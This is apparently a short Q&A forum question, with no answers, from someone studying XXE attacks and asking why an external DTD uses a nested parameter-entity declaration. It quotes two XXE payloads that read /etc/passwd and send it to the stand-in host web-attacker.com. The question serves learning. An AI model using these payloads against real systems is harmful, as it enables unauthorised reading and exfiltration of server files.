2

I've been studying XXE attacks through portswigger blog.

I don't understand the extra step of a dynamic declaration (i.e. <!ENTITY % eval...) in the below external DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate; 

Why not simply skip this dynamic declaration and instead write:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
%exfiltrate; 

Any ideas?

Anders
  • 64,406
  • 24
  • 178
  • 215
Shuzheng
  • 1,097
  • 4
  • 22
  • 37

0 Answers0